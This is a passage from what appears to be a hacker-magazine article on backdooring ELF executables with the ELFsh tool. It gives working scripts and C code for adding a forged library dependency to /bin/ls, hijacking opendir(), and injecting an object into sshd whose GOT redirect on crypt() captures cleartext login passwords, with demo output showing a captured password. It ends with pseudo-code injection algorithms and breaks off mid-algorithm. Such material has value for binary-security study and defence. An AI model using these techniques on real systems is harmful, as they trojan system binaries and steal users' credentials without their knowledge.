	 who wanted, and new techniques are already in progress. These
	 ideas were born from a good exploitation of the information
	 provided in the ELF reference and nothing was ripped to anyone.
	 I am not aware of any implementation providing these features,
	 but if you feel injuried, you can send flame emails and my
	 bot^H^H^H^H^H^H I will kindly answer all of them.


-------[ 2. Quick and usable backdoor in 4 bytes


	 Every dynamic executable file contains a .dynamic section. This 
	 zone is useful for the runtime linker in order to access crucial
	 information at runtime without requiring a section header table
	 (SHT), since the .dynamic section data  matches the bounds of
	 the PT_DYNAMIC segment entry of the Program Header Table (PHT).
	 Useful information includes the address and size of relocation
	 tables, the addresses of initialization and destruction routines,
	 the addresses of version tables, pathes for needed libraries, and
	 so on. Each entry of .dynamic looks like this, as shown in elf.h :


	 typedef struct
	 {
	   Elf32_Sword   d_tag;                 /* Dynamic entry type */
	   union
	    {
	      Elf32_Word d_val;                 /* Integer value */
	      Elf32_Addr d_ptr;                 /* Address value */
	    } d_un;
	  } Elf32_Dyn;


	 For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
	 the related value. Let's use the elfsh '-d' option to print the
	 dynamic section:


 -----BEGIN EXAMPLE 1-----
 $ elfsh -f /bin/ls -d 

  [*] Object /bin/ls has been loaded (O_RDONLY) 

  [SHT_DYNAMIC]
  [Object /bin/ls]

  [00] Name of needed library          =>  librt.so.1 {DT_NEEDED}
  [01] Name of needed library          =>   libc.so.6 {DT_NEEDED}
  [02] Address of init function        =>  0x08048F88 {DT_INIT}
  [03] Address of fini function        =>  0x0804F45C {DT_FINI}
  [04] Address of symbol hash table    =>  0x08048128 {DT_HASH}
  [05] Address of dynamic string table =>  0x08048890 {DT_STRTAB}
  [06] Address of dynamic symbol table =>  0x08048380 {DT_SYMTAB}
  [07] Size of string table            =>   821 bytes {DT_STRSZ}
  [08] Size of symbol table entry      =>    16 bytes {DT_SYMENT}
  [09] Debugging entry (unknown)       =>  0x00000000 {DT_DEBUG}
  [10] Processor defined value         =>  0x0805348C {DT_PLTGOT}
  [11] Size in bytes for .rel.plt      =>   560 bytes {DT_PLTRELSZ}
  [12] Type of reloc in PLT            =>          17 {DT_PLTREL}
  [13] Address of .rel.plt             =>  0x08048D58 {DT_JMPREL}
  [14] Address of .rel.got section     =>  0x08048D20 {DT_REL}
  [15] Total size of .rel section      =>    56 bytes {DT_RELSZ}
  [16] Size of a REL entry             =>     8 bytes {DT_RELENT}
  [17] SUN needed version table        =>  0x08048CA0 {DT_VERNEED}
  [18] SUN needed version number       =>           2 {DT_VERNEEDNUM}
  [19] GNU version VERSYM              =>  0x08048BFC {DT_VERSYM}

  [*] Object /bin/ls unloaded 

 $
 -----END EXAMPLE 1-----
 

	 The careful reader would have noticed a strange entry of type 
	 DT_DEBUG. This entry is used in the runtime linker to retrieve
	 debugging information, it is present in all GNU tools generated
	 binaries but it is not mandatory. The idea is to erase it using
	 a forged DT_NEEDED, so that an extra library dependance is added
	 to the executable.

	 The d_val field of a DT_NEEDED entry contains a relative offset
	 from the beginning of the .dynstr section, where we can find the
	 library path for this entry. What happens if we want to avoid
	 injecting an extra library path string into the .dynstr
	 section ?


 -----BEGIN EXAMPLE 2-----
 $ elfsh -f /bin/ls -X dynstr | grep so
 .dynstr + 16  6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
 .dynstr + 48  696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
 .dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
 .dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
 $
 -----END EXAMPLE 2-----


	 We just have to choose an existing library path string, but 
	 avoid starting at the beginning ;). The ELF reference specifies
	 clearly that a same string in .dynstr can be used by multiple
	 entries at a time:


 -----BEGIN EXAMPLE 3-----
 $ cat > /tmp/newlib.c 
 function()
 {
   printf("my own fonction \n");
 }
 $ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
 $ elfsh

  Welcome to The ELF shell 0.5b9 .::. 

  .::. This software is under the General Public License 
  .::. Please visit http://www.gnu.org to know about Free Software 

 [ELFsh-0.5b9]$ load /bin/ls 
   [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003

 [ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG

 [SHT_DYNAMIC]
 [Object /bin/ls]

 [00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
 [01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
 [09] Debugging entry (unknown)         =>          0x00000000 {DT_DEBUG}

 [ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
  [*] Field set succesfully 

 [ELFsh-0.5b9]$ set 1.dynamic[9].val 19	# see .dynstr + 19
  [*] Field set succesfully 

 [ELFsh-0.5b9]$ save /tmp/ls.new
  [*] Object /tmp/ls.new saved successfully

 [ELFsh-0.5b9]$ quit
  [*] Unloading object 1 (/bin/ls) * 

  Good bye ! .::. The ELF shell 0.5b9 

 $ 
 -----END EXAMPLE 3-----

	 
	 Lets verify our changes:


 -----BEGIN EXAMPLE 4-----
 $ elfsh -f ls.new -d DT_NEEDED

 [*] Object ls.new has been loaded (O_RDONLY) 

 [SHT_DYNAMIC]
 [Object ls.new]
 
 [00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
 [01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
 [09] Name of needed library            =>             rt.so.1 {DT_NEEDED}

 [*] Object ls.new unloaded 

 $ ldconfig		     # refresh /etc/ld.so.cache
 $ 
 -----END EXAMPLE 4-----


	 This method is not extremely stealth because a simple command can
	 list all the library dependances for a given binary:


 $ ldd /tmp/ls.new
         librt.so.1 => /lib/librt.so.1 (0x40021000)
	 libc.so.6 => /lib/libc.so.6 (0x40033000)
	 rt.so.1 => /lib/rt.so.1 (0x40144000)
	 libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
	 /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
 $ 


	 Is the executable still working?


 $ ./ls.new
 AcroOlAAFj  ELFSH_DEBUG  ls.new  newlib.c
 $ 


	 OK, so we found a good way to inject as much code as we want in
	 a process, by adding a library dependance to the main object, the
	 executable object. Now what if we want to hijack functions with
	 such an easy technique? We can force some symbols to get resolved
	 in priority over other symbols : when the runtime relocation is 
	 done (when the .got section is patched), the runtime linker will
	 iterate on the link_map [6] [7] [8] list, find the first matching
	 symbol, and fill the Global Offset Table related entry (or the 
	 Procedure Linkage Table entry if we are on SPARC) with the 
	 absolute runtime address where the function is mapped. A simple 
	 technique consists of swapping DT_NEEDED entries and make our own
	 library to be present before other libraries in the link_map
	 double linked list, and symbols to be resolved before the
	 original symbols. In order to call the original function from
	 the hook function, we will have to use dlopen(3) and dlsym(3) so
	 that we can resolve a symbol for a given object.

	 Lets take the same code, and this time, write a script which can
	 hijack opendir(3) to our own function(), and then call the 
	 original opendir(), so that the binary can be run normally:


 -----BEGIN EXAMPLE 5-----
 $ cat dlhijack.esh
 #!/usr/bin/elfsh
 
 load /bin/ls

 # Move DT_DEBUG into DT_NEEDED
 set 1.dynamic[9].tag DT_NEEDED

 # Put the former DT_DEBUG entry value to the first DT_NEEDED value
 set 1.dynamic[9].val 1.dynamic[0].val

 # Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1 
 add 1.dynamic[0].val 3

 save ls.new
 quit

 $ 
 -----END EXAMPLE 5-----


	 Now let's write the opendir hook code:


 -----BEGIN EXAMPLE 6-----
 $ cat myopendir.c
 #include <stdio.h>
 #include <sys/types.h>
 #include <stdlib.h>
 #include <fcntl.h>
 #include <dirent.h>
 #include <dlfcn.h>

 #define LIBC_PATH       "/lib/libc.so.6"

 DIR     *opendir(const char *name)
 {
   void  *handle;
   void  *(*sym)(const char *name);

   handle = dlopen(LIBC_PATH, RTLD_LAZY);
   sym = (void *) dlsym(handle, "opendir");
   printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n", 
			   sym, name);
   return (sym(name));
 }
 $ gcc -shared myopendir.c -o rt.so.1 -ldl
 $
 -----END EXAMPLE 6-----


	 Now we can modify the binary using our 4 lines script:


 -----BEGIN EXAMPLE 7-----
 $ ./dlhijack.esh

   Welcome to The ELF shell 0.5b9 .::. 

   .::. This software is under the General Public License 
   .::. Please visit http://www.gnu.org to know about Free Software 

   ~load /bin/ls
     [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003
 
   ~set 1.dynamic[9].tag DT_NEEDED
     [*] Field set succesfully 

   ~set 1.dynamic[9].val 1.dynamic[0].val
     [*] Field set succesfully 

   ~add 1.dynamic[0].val 3
     [*] Field modified succesfully

   ~save ls.new
     [*] Object ls.new save successfully 

    ~quit
     [*] Unloading object 1 (/bin/ls) * 

  Good bye ! .::. The ELF shell 0.5b9 

 $
 -----END EXAMPLE 7-----


	Let's see the results for the original ls, and then for the
	modified ls:


 $ ldd ls.new
        rt.so.1 => /lib/rt.so.1 (0x40021000)
        libc.so.6 => /lib/libc.so.6 (0x40023000)
        librt.so.1 => /lib/librt.so.1 (0x40134000)
        libdl.so.2 => /lib/libdl.so.2 (0x40146000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
 $ ls
 c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c  \
 myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
 $ ./ls.new 
 OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = . 
 c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c \
 myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
 $


	Nice. Note that the current implementation of this technique in 
	ELFsh changes the size of the binary because it injects 
	automatically some symbols for binary sanity. If you want to keep 
	the same size, you have to comment the calls to elfsh_fixup_symtab
	in the ELFsh source code ;) . This stuff is known to be used
	in the wild.

	The dynamic version of this technique has been proposed in [9],
	where the author describes how to call dlopen() in a subversive
	way, so that the process get runtime linked with an extra library.
	In practice, both implementations have nothing in common, but it
	is worth mentionning.


-------[ 3. Residency : ET_REL injection into ET_EXEC


	 This second technique allows to perform relinking of the ELF
	 ET_EXEC binary file and adding a relocatable object (ET_REL
	 file aka .o file) into the program address space. This is very
	 useful since it is a powerful method to inject as much data and
	 code as needed in a file using a 5 lines script.

	 Such relocation based backdoors have been developped in the 
	 past for static kernel patching [10] (ET_REL into vmlinuz) and
	 direct LKM loading in kernel memory (ET_REL into kmem) [11] .
	 However, this ET_REL injection into ET_EXEC implementation is in
	 my sense particulary interresting since it has been implemented 
	 considering a larger scope of target architectures and for
	 protected environments.

	 Because ELFsh is also used for things other than backdooring, 
	 the SHT and the symbol table are kept synchronized when we
	 insert our stuff into the binary, so that symbol resolving can
	 be provided even in the injected code.

	 Since the backdoor needs to stay valid on a PaX protected box,
	 we use 2 different injection techniques (one for the code 
	 sections, the other for the data sections) called section
	 pre-interp injection (because we insert the new section before
	 the .interp section) and section post-bss injection (because we
	 insert the new section after the .bss section).

	 For this second injection type, .bss data physical insertion 
	 into the file is necessary, since .bss is the non-initialized 
	 data section, it is only referenced by the SHT and PHT, but it
	 is not present in the file.

	 Also, note that section pre-interp injection is not possible 
	 with the current FreeBSD dynamic linker (some assert() kills the
	 modified binary), so all sections are injected using a post-bss 
	 insertion on this OS. This is not an issue since FreeBSD does not
	 come with non-executable protection for datapages. If such a 
	 protection comes in the future, we would have to modify the 
	 dynamic linker itself before being able to run the modified
	 binary, or make the code segment writable in sh_flags.

	 Let's look at the binary layout (example is sshd, it is the same
	 for all the binaries) :


 -----BEGIN EXAMPLE 8-----
 $ elfsh -f /usr/sbin/sshd -q -s -p

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]

[000] (nil)      -------                 foff:00000000 sz:00000000 link:00
[001] 0x80480f4  a------ .interp         foff:00000244 sz:00000019 link:00
[002] 0x8048108  a------ .note.ABI-tag   foff:00000264 sz:00000032 link:00
[003] 0x8048128  a------ .hash           foff:00000296 sz:00001784 link:04
[004] 0x8048820  a------ .dynsym         foff:00002080 sz:00003952 link:05
[005] 0x8049790  a------ .dynstr         foff:00006032 sz:00002605 link:00
[006] 0x804a1be  a------ .gnu.version    foff:00008638 sz:00000494 link:04
[007] 0x804a3ac  a------ .gnu.version_r  foff:00009132 sz:00000096 link:05
[008] 0x804a40c  a------ .rel.got        foff:00009228 sz:00000008 link:04
[009] 0x804a414  a------ .rel.bss        foff:00009236 sz:00000056 link:04
[010] 0x804a44c  a------ .rel.plt        foff:00009292 sz:00001768 link:04
[011] 0x804ab34  a-x---- .init           foff:00011060 sz:00000037 link:00
[012] 0x804ab5c  a-x---- .plt            foff:00011100 sz:00003552 link:00
[013] 0x804b940  a-x---- .text           foff:00014656 sz:00145276 link:00
[014] 0x806f0bc  a-x---- .fini           foff:00159932 sz:00000028 link:00
[015] 0x806f0e0  a------ .rodata         foff:00159968 sz:00068256 link:00
[016] 0x8080b80  aw----- .data           foff:00228224 sz:00003048 link:00
[017] 0x8081768  aw----- .eh_frame       foff:00231272 sz:00000004 link:00
[018] 0x808176c  aw----- .ctors          foff:00231276 sz:00000008 link:00
[019] 0x8081774  aw----- .dtors          foff:00231284 sz:00000008 link:00
[020] 0x808177c  aw----- .got            foff:00231292 sz:00000900 link:00
[021] 0x8081b00  aw----- .dynamic        foff:00232192 sz:00000200 link:05
[022] 0x8081bc8  -w----- .sbss           foff:00232416 sz:00000000 link:00
[023] 0x8081be0  aw----- .bss            foff:00232416 sz:00025140 link:00
[024] (nil)      ------- .comment        foff:00232416 sz:00002812 link:00
[025] (nil)      ------- .note           foff:00235228 sz:00001480 link:00
[026] (nil)      ------- .shstrtab       foff:00236708 sz:00000243 link:00
[027] (nil)      ------- .symtab         foff:00236951 sz:00000400 link:00
[028] (nil)      ------- .strtab         foff:00237351 sz:00000202 link:00

[Program header table .::. PHT]
[Object /usr/sbin/sshd]

[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)

[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]

[*] SHT is not stripped 

[00] PT_PHDR    
[01] PT_INTERP         .interp 
[02] PT_LOAD           .interp .note.ABI-tag .hash .dynsym .dynstr \
		       .gnu.version .gnu.version_r .rel.got .rel.bss \
		       .rel.plt .init .plt .text .fini .rodata 
[03] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic 
[04] PT_DYNAMIC        .dynamic 
[05] PT_NOTE           .note.ABI-tag 

 $
 -----END EXAMPLE 8-----


	We have here two loadable segments, one is executable (matches the
	code segment) and the other is writable (matches the data 
	segment).

	What we have to do is to inject all non-writable sections before
	.interp (thus in the code segment), and all other section's after
	.bss in the data segment. Let's code a handler for crypt() which
	prints the clear password and exit. In this first example, we 
	will use GOT redirection [12] and hijack crypt() which stays in 
	the libc:


 -----BEGIN EXAMPLE 9-----
 $ cat mycrypt.c
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <fcntl.h>

 int     glvar = 42;
 int     bssvar;

 char *mycrypt(const char *key, const char *salt)
 {
   bssvar = 2;
   printf(".:: crypt redirected -key- = %s (%u .::. %u) \n", 
         key, glvar, bssvar);
   exit(0);
 }
 $ gcc -c mycrypt.c
 $
 -----END EXAMPLE 9-----


	Using the 'reladd' command, we will inject mycrypt.o into sshd:


 -----BEGIN EXAMPLE 10-----
 $ cat etreladd.esh
 #!/usr/bin/elfsh

 load /usr/sbin/sshd
 load mycrypt.o

 # Inject mycrypt.o into sshd
 reladd 1 2

 # Modify crypt() got entry and make it point on mycrypt() which resides
 # into mycrypt.o
 set 1.got[crypt] mycrypt

 save sshd.new
 quit
 
 $ ./etreladd.esh

         Welcome to The ELF shell 0.5b9 .::. 

         .::. This software is under the General Public License 
         .::. Please visit http://www.gnu.org to know about Free Software 

~load /usr/sbin/sshd
  [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003

~load mycrypt.o
  [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003
 
~reladd 1 2
  [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd

~set 1.got[crypt] mycrypt
  [*] Field set succesfully 

~save sshd.new
  [*] Object sshd.new save successfully 

~quit
 [*] Unloading object 1 (mycrypt.o)   
 [*] Unloading object 2 (/usr/sbin/sshd) * 

         Good bye ! .::. The ELF shell 0.5b9 
 $
 -----END EXAMPLE 10-----


	Our script rocked. As I said, the symbol tables and the .bss from
	the module have been fused with those from the executable file
	and the SHT has been kept synchronized, so that resolving is also
	possible in the injected code:

 
 -----BEGIN EXAMPLE 11-----
 $ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]

[00] (nil)      -------                 foff:00000000 sz:00000000 link:00
[01] 0x80450f4  a-x---- .orig.plt       foff:00000244 sz:00004096 link:00
[02] 0x80460f4  a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4  a-x---- mycrypt.o.text  foff:00008436 sz:00004096 link:00
[04] 0x80480f4  a------ .interp         foff:00012532 sz:00000019 link:00
[05] 0x8048108  a------ .note.ABI-tag   foff:00012552 sz:00000032 link:00
[06] 0x8048128  a------ .hash           foff:00012584 sz:00001784 link:07
[07] 0x8048820  a------ .dynsym         foff:00014368 sz:00003952 link:08
[08] 0x8049790  a------ .dynstr         foff:00018320 sz:00002605 link:00
[09] 0x804a1be  a------ .gnu.version    foff:00020926 sz:00000494 link:07
[10] 0x804a3ac  a------ .gnu.version_r  foff:00021420 sz:00000096 link:08
[11] 0x804a40c  a------ .rel.got        foff:00021516 sz:00000008 link:07
[12] 0x804a414  a------ .rel.bss        foff:00021524 sz:00000056 link:07
[13] 0x804a44c  a------ .rel.plt        foff:00021580 sz:00001768 link:07
[14] 0x804ab34  a-x---- .init           foff:00023348 sz:00000037 link:00
[15] 0x804ab5c  a-x---- .plt            foff:00023388 sz:00003552 link:00
[16] 0x804b940  a-x---- .text           foff:00026944 sz:00145276 link:00
[17] 0x806f0bc  a-x---- .fini           foff:00172220 sz:00000028 link:00
[18] 0x806f0e0  a------ .rodata         foff:00172256 sz:00068256 link:00
[19] 0x8080b80  aw----- .data           foff:00240512 sz:00003048 link:00
[20] 0x8081768  aw----- .eh_frame       foff:00243560 sz:00000004 link:00
[21] 0x808176c  aw----- .ctors          foff:00243564 sz:00000008 link:00
[22] 0x8081774  aw----- .dtors          foff:00243572 sz:00000008 link:00
[23] 0x808177c  aw----- .got            foff:00243580 sz:00000900 link:00
[24] 0x8081b00  aw----- .dynamic        foff:00244480 sz:00000200 link:08
[25] 0x8081bc8  -w----- .sbss           foff:00244704 sz:00000000 link:00
[26] 0x8081be0  aw----- .bss            foff:00244704 sz:00025144 link:00
[27] 0x8087e18  aw----- mycrypt.o.data  foff:00269848 sz:00000004 link:00
[28] (nil)      ------- .comment        foff:00269852 sz:00002812 link:00
[29] (nil)      ------- .note           foff:00272664 sz:00001480 link:00
[30] (nil)      ------- .shstrtab       foff:00274144 sz:00000300 link:00
[31] (nil)      ------- .symtab         foff:00274444 sz:00004064 link:00
[32] (nil)      ------- .strtab         foff:00278508 sz:00003423 link:00

[Program header table .::. PHT]
[Object sshd.new]

[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)

[Program header table .::. SHT correlation]
[Object sshd.new]

[*] SHT is not stripped 
 
[0] PT_PHDR    
[1] PT_INTERP         .interp 
[2] PT_LOAD           .orig.plt mycrypt.o.rodata mycrypt.o.text .interp 
		      .note.ABI-tag .hash .dynsym .dynstr .gnu.version  
		      .gnu.version_r .rel.got .rel.bss .rel.plt .init   
		      .plt .text .fini .rodata 
[3] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic .sbss
		      .bss mycrypt.o.data 
[4] PT_DYNAMIC        .dynamic 
[5] PT_NOTE           .note.ABI-tag 

 $
 -----END EXAMPLE 11-----	


	The new sections can be easily spotted in the new SHT, since
	their name starts with the module name (mycrypt.o.*). Please
	elude the .orig.plt presence for the moment. This section 
	is injected at ET_REL insertion time, but it is not used in 
	this example and it will be explained as a stand-alone technique
	in the next chapter.

	We can see that the new BSS size is 4 bytes bigger than the
	original one. It is because the module BSS was only filled with
	one variable (bssvar), which was a 4 bytes sized integer since
	this specific example was done on a 32 bits architecture. The
	difficulty of this operation is to find the ET_REL object BSS
	section size, because it is set to 0 in the SHT. For this
	operation, we need to care about variable address alignement
	using the st_value field from each SHN_COMMON symbols of the
	ET_REL object, as specified by the ELF reference. Details for
	this algorithm are given later in the article.

	It works on Solaris as well, even if ET_REL files generated by
	Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2
	implementation has one more limitation on Solaris, which
	is a 'Malloc problem' happening at the first malloc() call when
	using a section post-bss injection. You dont have to use this kind
	of section injection ; ET_REL injection works well on Solaris if
	you do not use initialized global variables. This problem has been
	solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols
	so that they still points on the beginning of the heap (e.g. at
	the end of the last post-bss mapped section, or at the end of the
	bss, if there is no post-bss mapped section).

	Also, the .shstrtab, .symtab, and .strtab sections have been
	extended, and now contain extra symbol names, extra section names,
	and extra symbols copied from the ET_REL object.

	You can note that pre-interp injected sections base address is
	congruent getpagesize(), so that the executable segment always
	starts at the beginning of a page, as requested by the ELF
	reference. ELFsh could save some place here, instead of allocating
	the size of a page each time a section is injected, but that would
	complexify the algorithm a bit, so the congruence is kept for 
	each inserted section.
	
	The implementation has the cool advantage of -NOT- having to move
	the original executable address space, so that no relocation of
	the original code is needed. In other words, only the .o object
	sections are relocated and we can be sure that no false positive
	relocation is possible (e.g. we -DO NOT- have to find all
	references in the sshd code and patch them because the address
	space changed).

	This is the injected code section's assembly dump, which contains 
	the mycrypt function:


 -----BEGIN EXAMPLE 12-----
 $ elfsh -f sshd.new -q -D mycrypt.o.text

 080470F4 mycrypt.o.text + 0            push          %ebp             
 080470F5 mycrypt.o.text + 1            mov           %esp,%ebp        
 080470F7 mycrypt.o.text + 3            sub           $8,%esp          
 080470FA mycrypt.o.text + 6            mov           $2,<bssvar>      
 08047104 mycrypt.o.text + 16           mov           <bssvar>,%eax    
 08047109 mycrypt.o.text + 21           push          %eax             
 0804710A mycrypt.o.text + 22           mov           <glvar>,%eax     
 0804710F mycrypt.o.text + 27           push          %eax             
 08047110 mycrypt.o.text + 28           mov           8(%ebp),%eax     
 08047113 mycrypt.o.text + 31           push          %eax             
 08047114 mycrypt.o.text + 32           push          $<mycrypt.o.rodata> 
 08047119 mycrypt.o.text + 37           call          <printf>         
 0804711E mycrypt.o.text + 42           add           $10,%esp         
 08047121 mycrypt.o.text + 45           add           $0xFFFFFFF4,%esp   
 08047124 mycrypt.o.text + 48           push          $0               
 08047126 mycrypt.o.text + 50           call          <exit>           
 0804712B mycrypt.o.text + 55           add           $10,%esp         
 0804712E mycrypt.o.text + 58           lea           0(%esi),%esi     
 08047134 mycrypt.o.text + 64           leave      
 08047135 mycrypt.o.text + 65           ret
 -----END EXAMPLE 12-----


	 Lets test our new sshd:


 $ ssh mayhem@localhost
 Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
 mayhem@localhost's password: <--- type your passwd
 Connection closed by 127.0.0.1
 $ 
 

	Let's verify on the server side what happened:


 $ ./sshd.new -d 
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 127/256
debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
none
debug1: attempt 0 failures 0
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
publickey
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
keyboard-interactive
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs 
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
password
debug1: attempt 3 failures 2
.:: crypt redirected -key- = mytestpasswd (42 .::. 2) 
 $

	
	Fine. If you want extreme details on the implementation, please
	read the ELFsh code, particulary libelfsh/relinject.c. For the
	academic audience, the pseudo-code algorithms are provided.
	Because ET_REL injection is based on BSS and Symbol table fusion, 
	section pre-interp injection, section post-bss injection, 
	SHT shifting, SHT entry insertion, symbol injection, and section
	data injection, all those algorithms are also available. The BSS
	physical insertion is performed only once, at the first use of
	post-bss injection. The general algorithm for ET_REL injection is
	as follow:


 1/ Fuse ET_REL and ET_EXEC .bss sections
 2/ Find and inject ET_REL allocatable sections into ET_EXEC
 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
 4/ Relocate each injected section if its .rel(a) table is available

 
	Now let's give some details ;)

	
--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.

       
       1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)

       2/ FOREACH section in ET_REL object
          [
	     IF section is a/ allocatable (sh_flags & SHF_ALLOC)
			   b/ non-null sized (sh_size != 0)
			   c/ data-typed (sh_type == SHT_PROGBITS)
	     [

		IF section is writable -or- OS is FreeBSD
		[
		  - Inject post-bss section into ET_EXEC
		]
		ELSE
		[
		  - Inject pre-interp section into ET_EXEC
		]
	     ]
          ]

       3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)

       4/ FOREACH section in ET_REL object
       [
	  IF a/ section has been injected in 2. (same conditions)
	     b/ section needs relocation (.rel.sctname is found in ET_REL)
	  [
	      - Relocate the section
	  ]
       ]


--------[ BSS fusion algorithm


       - Insert ET_EXEC BSS physically if not already done (see next algo)
       FOREACH symbol from the ET_REL object
       [
	  IF symbol points into the BSS (st_shndx & SHN_COMMON)
	  [
	     WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
             [
	       - Increment by 1 the .bss size field (sh_size)
	     ]
	     - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
	     - Add symbol size to ET_EXEC .bss size (sh_size)
	  ]
       ]


---------[ BSS physical insertion algorithm 


	 FOREACH PHT entry
	 [
		IF a/ segment is loadable (p_type == PT_LOAD) 
		   b/ segment is writable (p_flags & PF_W)
		[
		  - Put p_memsz value into p_filesz
		  - End of algorithm
		]	
	 ]


--------[ Symbol Tables fusion algorithm


       FOREACH symbol in ET_REL object
       [
          IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
	  [
	     - Get parent section for this symbol using st_shndx field
	     IF Parent section has been injected in 2. (same conditions)
	     [
	        - Add section's base address to the symbol value
		- Inject new symbol into ET_EXEC
	     ]
          ]
       ]


--------[ Section pre-interp injection algorithm

	- Compute section size congruent with page size
	- Create new section's header
	- Inject section header (see SHT header insertion algorithm)
	FOREACH PHT entry
	[
	   IF a/ segment type is loadable (p_type == PT_LOAD)
	      b/ segment is executable (p_flags & PF_X)
	   [
	      - Add section's size to p_filesz and p_memsz
	      - Substract section's size from p_vaddr and p_paddr
	   ]
	   ELSE IF segment type is PT_PHDR
	   [
              - Substract section's size from p_vaddr and p_paddr
	   ]
	   ELSE
	   [
